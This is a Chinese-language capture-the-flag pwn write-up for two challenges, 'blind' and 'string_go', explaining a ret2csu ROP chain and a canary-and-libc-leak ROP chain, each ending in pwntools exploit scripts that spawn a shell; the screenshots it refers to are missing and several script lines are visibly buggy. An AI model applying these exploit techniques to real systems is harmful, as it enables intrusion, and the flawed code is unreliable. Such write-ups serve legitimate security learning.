前言
在学习pwn的过程中,我们通常会碰到开启NX的情况,也就是堆栈不可执行,在这种情况下,我们要利用栈内的未被清空的内容或者例如init这种函数,来进行构造rop,进一步编写exp拿到shell。
blind init
首先用IDA查看文件:
很明显的一个栈溢出漏洞:接着我们checksec一下:
就看见一个NX开启,这个很明显我们通过init上的几个汇编代码:
将数据存入寄存器,再利用
来运行其中寄存器r12中的东西,很常见的思路。
我们决定利用
这两个函数来在bss段。
构造system(‘bin/sh’)这个危险函数。
引入:
构建payload:
注入:
打通
exp如下:
from pwn import *p = remote()ELF = ELF("./blind")payload = "a" * (0x50+0x8)payload = p64(0x4007BA) payload += p64(0x0) payload += p64(0x1) payload += p64(ELF.got["read"]) payload += p64(1) payload += p64(ELF.got["alarm"]) payload += p64(0) payload += p64(0x4007A0) payload += 'A' * 56 payload = "a" * (0x50+0x8)payload = p64(0x4007BA) payload += p64(0x0) payload += p64(0x1) payload += p64(ELF.got["read"]) payload += p64(0x3b) payload += p64(0x601088) payload += p64(0) payload += p64(0x4007A0) payload += 'A' * 56 payload = "a" * (0x50+0x8)payload = p64(0x4007BA) payload += p64(0x0) payload += p64(0x1) payload += p64(ELF.got["alarm"]) payload += p64(0) payload += p64(0) payload += p64(0x601088) payload += p64(0x4007A0) payload += 'A' * 56payload += (0x500 - len(payload)) * "a"p.send(payload)p.send("\xd5")p.send("/bin/sh\x00" + "abc" )p.interactive()
string_go
先打开ida看看
checksec一下,发现保护全开......
接着我们继续看代码:
可见我们第一次输入的会先进行一个splite和一系列验证,之后再输入绕过lative_func,我们首先绕过这些再通过它获取canary。
可以看到,要绕过:
绕过的话就需要输入一个-7,而最后那个直接输入一个\x10就可以了。
接下来就是常规操作,获取canary,获取libc地址,最终cat flag,行云流水。
exp如下:
from pwn import *p = remote(,)context.log_level = "debug"context.arch = "amd64"elf = ELF("./string_go")p.sendlineafter(">>> ", "1+2")p.sendlineafter(">>> ","-7")p.sendlineafter(">>> ","helloword")p.sendlineafter(">>> ","\x10")p.recv(0x38)canary = u64(p.recv(0x6).ljust('/x00',8))p.recv(0x18)elf.address = u64(p.recv(0x8)) - 0x254Dp.recv(0x98)libc.address = u64(p.recv(0x8)) - 0x7fbdd8975bf7 - 0x7fbdd8954000shell = p64(elf.address + 0x3cf3)shell += p64(next(libc.search("/bin/sh")))+p64(libc.sym["system"])payload = "a" * 0x18payload += p64(canary)payload += "a" * 0x18payload += p64(elf.address+0x14ce)payload += shellp.sendline(payload)p.interactive()